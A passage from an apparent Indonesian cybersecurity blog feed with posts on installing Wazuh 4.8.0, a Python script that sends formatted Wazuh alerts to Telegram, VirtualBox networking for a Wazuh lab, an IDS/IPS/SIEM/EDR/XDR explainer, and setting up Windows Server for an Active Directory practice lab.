<ul><li>Instalasi Wazuh Server</li></ul>
<pre>bash wazuh-install.sh --wazuh-server wazuh-1</pre>
<ul><li>Instalasi Wazuh Dashboard</li></ul>
<pre>bash wazuh-install.sh --wazuh-dashboard dashboard</pre>
<ul><li>Akses Wazuh Interface di https://192.168.1.9</li></ul>
<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KYr745_KZLSUegOFOAz6FA.png"><figcaption>Tampilan Dashboard Utama</figcaption></figure>Quick Look
Tampilan Wazuh lebih fresh karena Wazuh melakukan refactor dan regrouping terhadapa user interfacse-nya. Bagian Security Events, berpindah menjadi Threat Hunting
<figure><img alt="" src="https://cdn-images-1.medium.com/max/588/1*T2Gz4_r6kFRf8lm2OAvKQg.png"><figcaption>Threat Hunting</figcaption></figure>Sidebar pun berubah. Sebelumnya sidebar wazuh menunjukkan aplikasi di dalamnya, seperti Opensearch dan Wazuh, sekarang sudah dikelompokkan menjadi beberapa event group. Jadi Wazuh menu yang tadinya ada di top menu, sekarang menjadi satu di dalam sidebar. Ini memudahkan untuk melakukan management karena semua menjadi satu lokasi sidebar. Oh iya untuk sidebar ini juga t
<figure><img alt="" src="https://cdn-images-1.medium.com/max/522/1*4yiQ85gGPWJBEgdf669xnQ.png"></figure>Di bagian Compliance, Wazuh menambahkan TSC sebagai sarana untuk SOC Compliance Ready.
<figure><img alt="" src="https://cdn-images-1.medium.com/max/905/1*L95RJJIZtyiv_hKGDAw19Q.png"></figure>Demikian adalah proses instalasi dan quick look untuk Wazuh versi 4.8.0. Semoga dengan artikel ini, pembaca menjadi paham dan tidak bingung ketika posisi menu favoritnya berubah. Untuk release notes lengkap ada di <a href="https://documentation.wazuh.com/current/release-notes/release-4-8-0.html">4.8.0 Release notes — 12 June 2024–4.x · Wazuh documentation</a>
Selamat ngoprek dan mencoba.
<img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=19e39e476842" width="1" height="1" alt=""><hr>
<a href="https://medium.com/cyberkarta/new-wazuh-4-8-0-installation-and-quick-look-19e39e476842">NEW! Wazuh 4.8.0 Installation and Quick Look</a> was originally published in <a href="https://medium.com/cyberkarta">Cyberkarta</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.

NEW! Wazuh 4.8.0 Installation and Quick Look

Melanjutkan tulisan saya di <a href="https://medium.com/@bayusangkaya/integrasi-wazuh-alert-dengan-telegram-bot-dc162e3aa3">Integrasi Wazuh Alert dengan Telegram Bot | by Bayu Sangkaya | Medium</a>, artikel kali ini saya akan merapikan dan memformat notifikasi menggunakan metode Markdown formatting.
Jika melihat notifikasi telegram seperti ini, tentu akan menyulitkan membacanya bukan?
<figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*vRRdhTKhKjVjDkfmAfx7Hg.png"></figure>Webhook dari telegram dapat kita tambahkan dengan formatting Markdown, sehingga alert dari Wazuh pun akan lebih tertata dan enak dibaca. Mari kita mulai.
Kita buat dulu fungsi untuk membuat pesan berisi informasi alert yang akan dikirimkan. Fungsi ini isinya adalah mengambil informasi alert lalu menyusun pesan dalam format Markdown.
<pre>def create_message(alert_json): # Get alert information, use empty string if field didn't exist title = alert_json['rule']['description'] if 'description' in alert_json['rule'] else '' description = alert_json['full_log'] if 'full_log' in alert_json else '' description.replace("\\n", "\n") alert_level = alert_json['rule']['level'] if 'level' in alert_json['rule'] else '' group_array = ', '.join(alert_json['rule']['groups']) if 'groups' in alert_json['rule'] else '' groups=group_array.replace("_"," ") #replace underscore with space, otherwise it will produce a parsing error message rule_id = alert_json['rule']['id'] if 'rule' in alert_json else '' agent_name = alert_json['agent']['name'] if 'name' in alert_json['agent'] else '' agent_id = alert_json['agent']['id'] if 'id' in alert_json['agent'] else '' agent_ip = alert_json['agent']['ip'] if 'ip' in alert_json['agent'] else '' src_ip = alert_json['data']['srcip'] if 'srcip' in alert_json['data'] else '' # Format message with markdown msg_content = f'*{title}*\n\n' msg_content += f'_{description}_\n\n' msg_content += f'*Groups:* {groups}\n' if len(groups) &gt; 0 else '' msg_content += f'*Source IP:* {src_ip}\n' if len(src_ip) &gt; 0 else '' msg_content += f'*Rule:* {rule_id} (Level {alert_level})\n\n' msg_content += f'*Agent:* {agent_name} ({agent_id})\n' if len(agent_name) &gt; 0 else '' msg_content += f'*Agent IP:* {agent_ip}' if len(agent_ip) &gt; 0 else '' msg_data = {} msg_data['chat_id'] = CHAT_ID msg_data['text'] = msg_content msg_data['parse_mode'] = 'markdown' # Debug information with open('/var/ossec/logs/integrations.log', 'a') as f: f.write(f'MSG: {msg_data}\n') return json.dumps(msg_data) </pre>
Output dari funsgi ini adalah arraymsg_data yang berisi Chat ID, Text, dan Parsing mode. Ketiga hal tersebut menjadi parameter dalam POST message melalui webhook Telegram. Sehingga saat dikirimkan, pesan sudah berformat Markdown. Hasil pesannya adalah seperti ini:
<figure><img alt="" src="https://cdn-images-1.medium.com/max/668/1*gnvSSLOr1HHLkFXyN6zAuw.png"></figure>Jika text tertata seperti itu, tentu saja akan lebih mudah dibaca bukan?
Source code full bisa dilihat di bawah ini.
<pre>#!/usr/bin/env python import sys import json import requests from requests.auth import HTTPBasicAuth import hashlib #CHAT_ID="-xxxx" --- change with your chat id CHAT_ID="-xxxxx" def create_message(alert_json): # Get alert information, use empty string if field didn't exist title = alert_json['rule']['description'] if 'description' in alert_json['rule'] else '' description = alert_json['full_log'] if 'full_log' in alert_json else '' description.replace("\\n", "\n") alert_level = alert_json['rule']['level'] if 'level' in alert_json['rule'] else '' group_array = ', '.join(alert_json['rule']['groups']) if 'groups' in alert_json['rule'] else '' groups=group_array.replace("_"," ") #replace underscore with space, otherwise it will produce a parsing error message rule_id = alert_json['rule']['id'] if 'rule' in alert_json else '' agent_name = alert_json['agent']['name'] if 'name' in alert_json['agent'] else '' agent_id = alert_json['agent']['id'] if 'id' in alert_json['agent'] else '' agent_ip = alert_json['agent']['ip'] if 'ip' in alert_json['agent'] else '' src_ip = alert_json['data']['srcip'] if 'srcip' in alert_json['data'] else '' # Format message with markdown msg_content = f'*{title}*\n\n' msg_content += f'_{description}_\n\n' msg_content += f'*Groups:* {groups}\n' if len(groups) &gt; 0 else '' msg_content += f'*Source IP:* {src_ip}\n' if len(src_ip) &gt; 0 else '' msg_content += f'*Rule:* {rule_id} (Level {alert_level})\n\n' msg_content += f'*Agent:* {agent_name} ({agent_id})\n' if len(agent_name) &gt; 0 else '' msg_content += f'*Agent IP:* {agent_ip}' if len(agent_ip) &gt; 0 else '' msg_data = {} msg_data['chat_id'] = CHAT_ID msg_data['text'] = msg_content msg_data['parse_mode'] = 'markdown' #Debug information with open('/var/ossec/logs/integrations.log', 'a') as f: f.write(f'MSG: {msg_data}\n') return json.dumps(msg_data) alert_file = open(sys.argv[1]) hook_url = sys.argv[3] # Read the alert file alert_json = json.loads(alert_file.read()) alert_file.close() # Send the request msg_data = create_message(alert_json) headers = {'content-type': 'application/json', 'Accept-Charset': 'UTF-8'} response = requests.post(hook_url, headers=headers, data=msg_data) print("telegram : ",msg_data) #Debug information with open('/var/ossec/logs/integrations.log', 'a') as f: f.write(f'telegram response: {response}\n') sys.exit(0)</pre>
Selamat ngoprek.
<img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=feccbe68b0b8" width="1" height="1" alt=""><hr>
<a href="https://medium.com/cyberkarta/merapikan-notifikasi-telegram-dari-wazuh-alert-feccbe68b0b8">Merapikan notifikasi Telegram dari Wazuh Alert</a> was originally published in <a href="https://medium.com/cyberkarta">Cyberkarta</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.

Merapikan notifikasi Telegram dari Wazuh Alert

<figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*SDCrXXG7my4CmACVVYXilw.png"><figcaption>Virtualbox Networking</figcaption></figure>Wazuh merupakan platform cybersecurity yang gratis dan opensource, sehingga kita bisa mempelajarinya dengan mudah melalui virtualisasi. Platform virtualisasi (hypervisor) untuk desktop client yang populer ada 2: Virtualbox dan VMWare. Virtualbox akan paling umum digunakan, hal juga karena Virtualbox merupakan software virtualisasi yang gratis.
Jaringan LAN dalam Virtualisasi di dalam hypervisor juga dilakukan secara virtual. Namun jaringan ini sangat berpengaruh terhadap komunikasi antar VM, VM dengan host, ataupun VM ke internet. Dalam Virtualbox terdapat beberapa mode networking yang bisa dipilih, yang paling sering dipakai adalah mode NAT (default), Bridge, dan Host-only.
Dalam praktik Wazuh, VM yang digunakan harus memiliki IP Address yang tetap dan tidak berubah. Hal ini dikarenakan komunikasi antar komponen Wazuh diamankan menggunakan SSL dengan IP Address sebagai pengenalnya. Jika IP Address VM berubah, makan komunikasi antar komponen Wazuh, maupun Wazuh server dengan Wazuh agent akan terganggu dan harus dilakukan penyesuaian ulang. Sealin itu, Wazuh dashboard dan SSH juga harus bisa diakses dari Host. Dengan prasyarat seperti itu, maka mode networking untuk Wazuh Lab harus memenuhi persyaratan berikut.
<ol>
<li>VM harus bisa terhubung dengan internet untuk instalasi Wazuh</li>
<li>VM harus bisa terhubung dengan Host PC untuk instalasi dan dashboard</li>
<li>VM harus bisa menghubungi VM lainnya untuk test monitoring.</li>
</ol>
Mode networking yang bisa memenuhi ketiga syarat tersebut dalah sebagai berikut.
<h4>Bridge</h4>
<figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*hfpp1PcawLYuX1mnDGFH3w.png"><figcaption>Mode Bridge</figcaption></figure>Mode network Bridge akan memberikan VM IP address yang satu segmen dengan Host dan keduanya tetap bisa terhubung dengan internet. Hal ini memudahkan pengaturan karena tanpa pengaturan tambahan pun Host PC dengan Wazuh server bisa saling komunikasi. Hanya saja mode Bridge itu mendapatkan IP dari DHCP server yang didapat oleh Host PC. Jadi ketika Host PC berpindah lokasi atau segmen, maka VM yang menggunakan mode Bridge pun akan berubah IP Addressnya dan membutuhkan pengaturan ulang.
Selain itu, mode Bridge juga akan membuat VM ter-ekspos ke Jaringan di mana Host PC berada, sehingga dianggap kurang aman. Namun Bridge tetap bisa digunakan untuk pembuatan Lab jika dan hanya jika Host PC memang bersifat statis dan tidak berpindah tempat sehingga baik Host PC maupun VM mendapatkan IP Address dalam satu segmen. Selain itu juga untuk menggunakan bridge harus dipastikan dulu bahwa penggunaan jaringan berada di jaringan privat untuk meminimalisir kemungkinan VM terekspos ke pengguna lainnya.
NAT + Host-only
<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aMaKltoa2IGIFokICkvkYw.png"><figcaption>NAT + Host-only networking</figcaption></figure>NAT mode merupakan network default untuk VM Virtualbox. Melalui NAT, setiap VM bisa terhubung ke internet, namun tidak bisa mendapatkan koneksi antar VM maupun VM dengan Host. Namun NAT menawarkan isolasi yang baik terhadap pengguna di luar Host PC. Untuk mengatasi kekurangan tersebut, akan lebih baik jika menggunakan 1 virtual ethernet lagi yang terhubung melalui jaringan Host-only.
Jaringan Host-only ini hanya bisa digunakan untuk komunikasi antar VM maupun VM dengan host. Pilihan ini merupakan pilihan yang paling aman dan menyeluruh. Aman karena VM tidak terekspos ke pengguna lain di mana Host PC berada karena berbeda segmen sama sekali dengan Host PC, namun tetapsemua persyaratan network untuk Lab Praktikum Wazuh bisa tercapai. Pengaturan Host only cukup mudah, tinggal mengaktifkan satu ethernet lagi untuk mode host only agar dapat dilakukan SSH maupun copy-paste perintah melalui Terminal SSH.
<figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*cpFEtyTCvIFHF3vy05W_3A.png"><figcaption>NAT Mode</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*-QE2-ocxlWbdQAwDhJXGzw.png"><figcaption>Host-only mode</figcaption></figure>Selain kedua hal tersebut, pastikan juga antara Wazuh server dan wazuh agent bisa terhubung melalui port 1515 (untuk enrollment agent) dan 1514 (untuk pelaporan antara agent dan server). Silakan pilih mode networking yang sesuai dengan kondisi lab yang anda miliki. Selamat ngoprek.
<img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=b49f9f5de989" width="1" height="1" alt=""><hr>
<a href="https://medium.com/cyberkarta/memilih-network-mode-pada-virtualbox-untuk-pembuatan-lab-wazuh-b49f9f5de989">Memilih Network Mode pada VirtualBox untuk Pembuatan Lab Wazuh</a> was originally published in <a href="https://medium.com/cyberkarta">Cyberkarta</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.

Memilih Network Mode pada VirtualBox untuk Pembuatan Lab Wazuh

<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g_OYbEXQBWwpcBuS2b828g.jpeg"></figure>Ketika pertama kali terjun dalam dunia cyber security, biasanya akan dihadapkan banyak istilah baru beserta tools yang termasuk di dalamnya. Tentu saja hal baru ini bisa saja membuat mereka yang baru terjun merasa bingung, apalagi istilah dan toolsnya mirip-mirip. Artikel kali ini akan membahas mengenai perbedaan dalam istilah-istilah tersebut. Yuk kita bahas satu per satu.
<h4>Intrusion Detection System (IDS)</h4>
IDS berfungsi sebagai penjaga atau detector di jaringan, berfungsi untuk memantau aktivitas dan mencari tanda-tanda intrusi. Saat mendeteksi aktivitas mencurigakan, IDS akan memberi tahu atau meberikan alert kepada SOC team, agar dapat diinvestigasi lebih lanjut. IDS tidak secara langsung menghentikan serangan, tetapi memberikan informasi valuable untuk mencegah serangan di masa depan.
IDS dapat dibagi menjadi dua jenis: Network-based IDS (NIDS) yang memonitor lalu lintas jaringan, dan Host-based IDS (HIDS) yang memonitor aktivitas di dalam sistem atau perangkat.
Contoh:
<ul>
<li>
Snort dan Suricata: Salah satu contoh IDS yang populer dan bersifat open-source, digunakan untuk mendeteksi serangan berbasis jaringan.</li>
<li>
OSSEC: Merupakan HIDS yang bersifat open-source dan mampu mendeteksi ancaman pada sistem.</li>
<li>
Wazuh: Merupakan HIDS berbasis ossec rules ditambah dengan analysisd untuk mendeteksi ancaman pada sistem.</li>
</ul>
<h4>Intrusion Prevention System (IPS)</h4>
IPS bekerja sama dengan IDS, tetapi dengan kemampuan tambahan untuk mencegah serangan secara langsung. Saat IPS mendeteksi aktivitas berbahaya, IPS dapat memblokir traffic atau menutup port yang terkena dampak. Hal ini membantu mencegah kerusakan yang disebabkan oleh serangan siber.
IPS bekerja secara real-time untuk menghentikan atau memblokir aktivitas berbahaya dengan memodifikasi aturan firewall, mengisolasi bagian tertentu dari jaringan, atau menghentikan proses yang mencurigakan.
Contoh:
<ul>
<li>
Cisco FirePOWER: Merupakan contoh IPS yang dapat mengidentifikasi dan mencegah berbagai jenis ancaman.</li>
<li>
McAfee Network Security Platform: Menyediakan perlindungan IPS dengan kemampuan deteksi dan pencegahan ancaman tingkat lanjut.</li>
<li>
Wazuh: Memiliki fungsi active response yang dapat digunakan untuk action ketika ada ancaman.</li>
</ul>
<h4>Security Information and Event Management (SIEM)</h4>
SIEM bertindak sebagai pusat intelijen untuk keamanan siber atau SOC. SIEM mengumpulkan data dari berbagai sumber, seperti log jaringan, log endpoint, dan log aplikasi. Selanjutnya SIEM menganalisisnya untuk mencari pola dan anomali yang menunjukkan aktivitas berbahaya. SIEM dapat membantu Anda mengidentifikasi serangan di tahap awal dan menyelidikinya dengan lebih cepat.
SIEM membantu dalam deteksi ancaman dengan mengkorelasikan data dari berbagai sumber dan memberikan wawasan serta analisis mendalam mengenai pola serangan. SIEM juga memainkan peran penting dalam kepatuhan (compliance) dengan regulasi keamanan.
Contoh:
<ul>
<li>
Splunk: Platform SIEM yang kuat dengan kemampuan analisis data besar dan korelasi kejadian.</li>
<li>
IBM QRadar: SIEM yang terkenal dengan fitur analisis ancaman dan manajemen insiden.</li>
<li>
Wazuh: Megumpulkan seluruh log melalui agent yang terinstall dalam endpoint.</li>
</ul>
<h4>Endpoint Detection and Response (EDR)</h4>
EDR berfokus pada perlindungan endpoint Anda, seperti laptop, desktop, dan server. EDR memonitor aktivitas endpoint untuk mencari tanda-tanda malware, ransomware, dan serangan lainnya. Saat EDR mendeteksi ancaman, EDR dapat melakukan tindakan seperti mengisolasi endpoint yang terinfeksi, menghentikan proses berbahaya, dan menghapus malware.
EDR fokus pada pemantauan dan deteksi ancaman pada endpoint (seperti komputer, laptop, dan perangkat mobile). EDR biasanya menyediakan fitur seperti analisis perilaku, deteksi anomali, dan forensik digital.
Contoh:
<ul>
<li>
CrowdStrike Falcon: Solusi EDR yang terkenal dengan kemampuan deteksi dan respon ancaman secara real-time.</li>
<li>
SentinelOne: Menyediakan alat EDR dengan analisis perilaku yang kuat dan visibilitas yang mendalam.</li>
</ul>
<h4>Extended Detection and Response (XDR)</h4>
XDR adalah solusi keamanan siber terbaru yang mengintegrasikan kemampuan IDS, IPS, SIEM, dan EDR. XDR memberikan pandangan yang lebih luas tentang aktivitas keamanan di seluruh jaringan dan endpoint Anda. Hal ini memungkinkan Anda untuk mendeteksi dan merespons ancaman dengan lebih cepat dan efektif, bahkan di lingkungan yang kompleks dan hybrid.
XDR bertujuan untuk memberikan visibilitas yang lebih luas dan mendalam serta koordinasi yang lebih baik dalam merespon ancaman yang kompleks. XDR menyatukan berbagai alat keamanan (seperti EDR, NDR, SIEM, dan lainnya) ke dalam satu platform terpadu untuk meningkatkan efisiensi dan efektivitas deteksi dan respon ancaman.
Contoh:
<ul>
<li>
Palo Alto Networks Cortex XDR: Platform XDR yang mengintegrasikan data dari berbagai sumber untuk deteksi dan respon yang lebih baik.</li>
<li>
Trend Micro XDR: Menyediakan visibilitas lintas endpoint, email, server, cloud workloads, dan jaringan untuk meningkatkan deteksi dan respon ancaman.</li>
<li>
Wazuh XDR: Wazuh bisa diintegrasikan dengan pihak ketiga untuk memperkaya informasi yang digunakan untuk analysis. Contohnya dengan MISP ataupun Virustotal.</li>
</ul>
Dengan memahami perbedaan, fungsi, dan contoh dari IDS, IPS, SIEM, EDR, dan XDR, organisasi dapat memilih solusi yang paling sesuai untuk kebutuhan keamanan sibernya dan melindungi aset digitalnya dari berbagai ancaman yang terus berkembang.
<img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=e9be0fc62ef0" width="1" height="1" alt=""><hr>
<a href="https://medium.com/cyberkarta/mengenal-perbedaan-ids-ips-siem-edr-dan-xdr-dalam-dunia-cybersecurity-e9be0fc62ef0">Mengenal Perbedaan IDS, IPS, SIEM, EDR, dan XDR dalam Dunia Cybersecurity</a> was originally published in <a href="https://medium.com/cyberkarta">Cyberkarta</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.

Mengenal Perbedaan IDS, IPS, SIEM, EDR, dan XDR dalam Dunia Cybersecurity

<h3>Layanan Kami</h3>
<ul>
<li>
Pelatihan Cybersecurity: <a href="https://cyberkarta.com/">https://cyberkarta.com</a>
</li>
<li>
Penetration Testing: <a href="https://pentest.cyberkarta.com/">https://pentest.cyberkarta.com</a>
</li>
<li>
Monitoring serangan siber? contact us via <a href="mailto:service@cyberkarta.com">service@cyberkarta.com</a>
</li>
<li>
Ada serangan siber? contact us via <a href="mailto:service@cyberkarta.com">service@cyberkarta.com</a>
</li>
</ul>
<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*g2-0ZCNPRUuj5ZLP"><figcaption>Photo by <a href="https://unsplash.com/@cheaousa?utm_source=medium&amp;utm_medium=referral">Ousa Chea</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><h3>Active Directory</h3>
Active Directory (AD) adalah layanan direktori yang dikembangkan oleh Microsoft untuk jaringan domain Windows. AD juga merupakan database dengan jenjang hierarki yang menyimpan informasi objek pada jaringan, contohnya pengguna, komputer, printer, dan grup.
Manfaat Active Directory:
<ul>
<li>
Centralized management: AD menyediakan satu titik kendali untuk mengelola pengguna, komputer, dan objek lain di jaringan. Hal ini dapat menghemat waktu dan tenaga bagi administrator.</li>
<li>
Improved security: AD menyediakan sejumlah fitur keamanan, seperti autentikasi, Role-based Access Control (RBAC), dan audit. Fitur-fitur ini dapat membantu melindungi keamanan jaringan dari percobaan akses ilegal.</li>
<li>
Simplified deployment and management of applications: administrator dapat menggunakan AD untuk mendeploy software ke jaringan active directory.</li>
<li>
Enhanced scalability: AD dapat dikembangkan untuk mendukung jaringan besar dengan ribuan pengguna dan komputer.</li>
</ul>
Komponen pendukung Active Directory
<ul>
<li>
Domain Controller: Domain Controller adalah server yang menjalankan layanan Active Directory. Domain Controller bertanggung jawab untuk menyimpan database Active Directory dan menyediakan layanan autentikasi dan otorisasi.</li>
<li>
Forest: Forest adalah kumpulan domain yang dikelola oleh kumpulan policy dan konfigurasi yang sama.</li>
<li>
Tree: Tree adalah grup domain yang memiliki skema dan policy.</li>
<li>
Schema: Schema adalah kumpulan aturan yang menentukan jenis objek yang dapat disimpan di Active Directory dan atribut yang dapat dimiliki oleh objek tersebut.</li>
<li>
Attribute: Attribute adalah informasi tentang objek di Active Directory.</li>
<li>
Object: Object adalah entitas yang dapat diidentifikasi pada Active Directory. Contoh objek adalah akun pengguna, komputer, printer, dan grup.</li>
</ul>
<h3>Active Directory Lab untuk Pentester</h3>
Active Directory (AD) yang tidak dilindungi dapat menimbulkan ancaman signifikan terhadap keamanan informasi. Tanpa perlindungan yang tepat, AD dapat dengan mudah disusupi, memberikan penyerang akses ke data dan sistem sensitif. Penyerang bisa mendapatkan akses tidak sah ke kredensial pengguna, memungkinkan mereka meniru identitas pengguna dan melakukan lateral movement menuju entitas yang terdaftar pada AD. Bahkan, mereka dapat memasang malware pada domain controller, untuk menciptakan persistence dan mempercepat penyebaran malware.
Diperkirakan, sekitar 90% perusahaan dari Fortune 1000 menggunakan Active Directory (AD). Selain itu banyak perusahaan kelas menengah juga menggunakan layanan AD. Pada beberapa sertifikasi profesional, seperti OSCP, CEH, dan Pentest+, mewajibkan pentester untuk memahami Active Directory. Melihat dari kebutuhan dan risiko keamanan tersebut, sangat disarankan kepada pentester untuk bereksperimen dan menguji keamanan dari AD
Salah satu cara untuk bereksperimen pada Active Directory adalah membuat lab sendiri. Berikut adalah beberapa contoh serangan yang dapat diuji oleh pentester dalam lab AD:
<ul>
<li>Serangan pass-the-hash</li>
<li>Serangan Golden Ticket</li>
<li>Serangan Kerberos</li>
<li>Serangan terhadap grup dan OU</li>
<li>Serangan terhadap objek Active Directory lainnya</li>
</ul>
<h3>Kebutuhan Sistem</h3>
Kebutuhan Hardware:
<ol>
<li>80 GB storage</li>
<li>16 GB RAM</li>
<li>CPU dengan 8 core</li>
</ol>
Kebutuhan Software &amp; Sistem Operasi:
<ol>
<li>Hypervisor dapat menggunakan VMware Workstation Pro 17: <a href="https://www.vmware.com/products/workstation-pro/workstation-pro-evaluation.html">https://www.vmware.com/products/workstation-pro/workstation-pro-evaluation.html</a> atau VirtualBox: <a href="https://www.virtualbox.org/wiki/Downloads">https://www.virtualbox.org/wiki/Downloads</a>
</li>
<li>Windows Server 2022 eval edition: <a href="https://www.microsoft.com/en-us/evalcenter/evaluate-windows-server-2022">https://www.microsoft.com/en-us/evalcenter/evaluate-windows-server-2022</a>
</li>
<li>Windows 10 Enterprise eval edition: <a href="https://www.microsoft.com/en-us/evalcenter/evaluate-windows-10-enterprise">https://www.microsoft.com/en-us/evalcenter/evaluate-windows-10-enterprise</a>
</li>
<li>Kali Linux: <a href="https://www.kali.org/get-kali/#kali-platforms">https://www.kali.org/get-kali/#kali-platforms</a>
</li>
</ol>
<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*n8fkf30csgN8aUX6"><figcaption>Notes: Saat membuat konfigurasi, jangan lupa untuk mencatat username dan password yang digunakan.</figcaption></figure><h3>Menginstall Windows Server 2022</h3>
Penulis memilih menggunakan VMware Workstation Pro 17 untuk melakukan demo instalasi. Hypervisor lain seperti VirtualBox dapat menjadi opsi untuk instalasi.
<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zaQh1Edla-61QcG5qrOPyQ.png"><figcaption>Langkah melakukan pre-instalasi Windows Server 2022 pada VMware Workstation.</figcaption></figure><ol>
<li>Memilih ISO yang tepat untuk instalasi Windows Server 2022. Link download terdapat pada bagian Kebutuhan Sistem.</li>
<li>Mengosongkan product key dan mengisi Full Name dari pengguna server. Saya memilih nama DomainController karena server ini akan menjadi Domain Controller (DC) dari Active Directory.</li>
<li>Memilih lokasi virtual disk disimpan. Pastikan virtual disk ini berada pada lokasi yang memang ditujukan untuk penyimpanan.</li>
<li>Menggunakan alokasi disk sebesar 60GB untuk media penyimpanan pada Windows Server tersebut. Angka 60GB ini tidak langsung menggunakan size disk sebesar 60GB, melainkan sekedar angka maksimal penggunaan disk. Pilih juga split installation untuk mempermudah distribusi lab nantinya.</li>
<li>Menonaktifkan opsi “Power on the virtual machine after creation”</li>
</ol>
Virtual machine ini jangan dulu dinyalakan, terdapat beberapa hal yang perlu diperhatikan di sini.
<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zigv2urmDzsiSmay0ZrKww.png"><figcaption>Konfigurasi yang dilakukan sebelum menjalankan server.</figcaption></figure><ol>
<li>Menghapus floppy disk agak tidak menimbulkan error pada proses instalasi nantinya.</li>
<li>Menambah RAM menjadi 4096 MB agar mempercepat proses instalasi. RAM dapat diturunkan menjadi 2048 MB apabila proses instalasi sudah selesai.</li>
<li>Menjalankan virtual machine.</li>
</ol>
Setelah virtual machine menyala, tekan keyboard untuk masuk ke dalam halaman instalasi.
<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qpKq6Q5KYR-DypzVoj8qBg.png"><figcaption>Langkah instalasi Windows Server 2022 pada hypervisor.</figcaption></figure><ol>
<li>Memilih versi instalasi Windows Server 2022 Standard Evaluation (Desktop).</li>
<li>Membuat partisi untuk instalasi Windows dan System dengan memilih opsi new.</li>
<li>Menginstall Windows Server 2022 pada partisi Primary.</li>
<li>Menunggu hingga proses instalasi selesai.</li>
</ol>
Setelah proses instalasi selesai, Anda akan diminta memasukkan password untuk akun Administrator.
<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gpnT-wcCHd3zt5jFtAHRsw.png"><figcaption>Pembuatan password Administrator, proses login, dan penggantian network profile.</figcaption></figure><ol>
<li>Masukkan password yang digunakan untuk akun Administrator. Pastikan Anda mendokumentasikan password ini.</li>
<li>Saat muncul halaman login, tekan CTRL + ALT + DELETE untuk masuk ke dalam halaman login. Terdapat menu pada VMware Workstation untuk mempermudah input tersebut.</li>
<li>Masukkan password dari Administrator.</li>
<li>Apabila terdapat permintaan, pilih private network untuk mempermudah serangan yang dilakukan.</li>
</ol>
Kita juga perlu menginstall VMware Tools untuk mendapatkan full experience dan mendapatkan layar full screen.
<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pfWMHuEXGco7oJldw3d1eQ.png"><figcaption>Proses instalasi VMware Tools</figcaption></figure><ol>
<li>Memilih menu VM &gt; Install VMware Tools.
</li>
<li>Terdapat DVD virtual yang masuk ke dalam file explorer. Pilih Setup64 untuk memulai instalasi VMware Tools.</li>
<li>Memilih opsi Typical atau Complete tergantung penggunaan dari lab tersebut. Apabila Anda ingin mendeploy lab ini pada versi VMware lain, pilihlah opsi complete.</li>
</ol>
Disarankan untuk melakukan perubahan hostname sebelum konfigurasi AD. Perubahan nama host setelah konfigurasi AD akan menciptakan trust issue pada jaringan AD.
<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YkFCULGTAoYtEY3UYMYgYA.png"><figcaption>Perubahan Domain Disarankan Sebelum Aktivasi AD</figcaption></figure><ol>
<li>Mengganti nama hostname sesuai dengan skenario yang dibuat.</li>
<li>Memilih opsi restart now &amp; Memilih Alasan Restart</li>
</ol>
Selamat, apabila Anda telah melalui step tersebut, Windows Server 2022 sudah berhasil terinstall. Windows Server 2022 ini akan digunakan sebagai domain controller pada Active Directory. Apabila Anda ingin menyesuaikan RAM pada Windows Server ini, dapat dilakukan pada Virtual Machine Settings. Konfigurasi ini bisa dilakukan saat server dalam kondisi mati.
<figure><img alt="" src="https://cdn-images-1.medium.com/max/1008/0*Kmqv1UD93L4hGDEB"><figcaption>Proses mengubah penggunaan RAM pada VM Windows Server.</figcaption></figure><h3>Layanan Kami</h3>
<ul>
<li>
Pelatihan Cybersecurity: <a href="https://cyberkarta.com/">https://cyberkarta.com</a>
</li>
<li>
Penetration Testing: <a href="https://pentest.cyberkarta.com/">https://pentest.cyberkarta.com</a>
</li>
<li>
Monitoring serangan siber contact us via <a href="mailto:service@cyberkarta.com">service@cyberkarta.com</a>
</li>
<li>
Ada serangan siber? contact us via <a href="mailto:service@cyberkarta.com">service@cyberkarta.com</a>
</li>
</ul>
<h3>Our Social Media</h3>
Instagram: <a href="https://instagram.com/thecyberkarta">https://instagram.com/thecyberkarta</a>
Youtube: <a href="https://www.youtube.com/@cyberkarta">https://www.youtube.com/@cyberkarta</a>
LinkedIn: <a href="https://www.linkedin.com/company/cyberkarta">https://www.linkedin.com/company/cyberkarta</a>
Twitter/X: <a href="https://twitter.com/cyberkarta">https://twitter.com/cyberkarta</a>
<h3>Next</h3>
Pada Membuat Lab Active Directory Untuk Ethical Hacking (Part 2), kita akan melakukan konfigurasi Domain Controller (DC) pada Windows Server yang terinstall.
<img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=61223d70a0af" width="1" height="1" alt=""><hr>
<a href="https://medium.com/cyberkarta/membuat-lab-active-directory-untuk-ethical-hacking-part-1-61223d70a0af">Membuat Lab Active Directory Untuk Ethical Hacking (Part 1)</a> was originally published in <a href="https://medium.com/cyberkarta">Cyberkarta</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.

Blog Cyber Security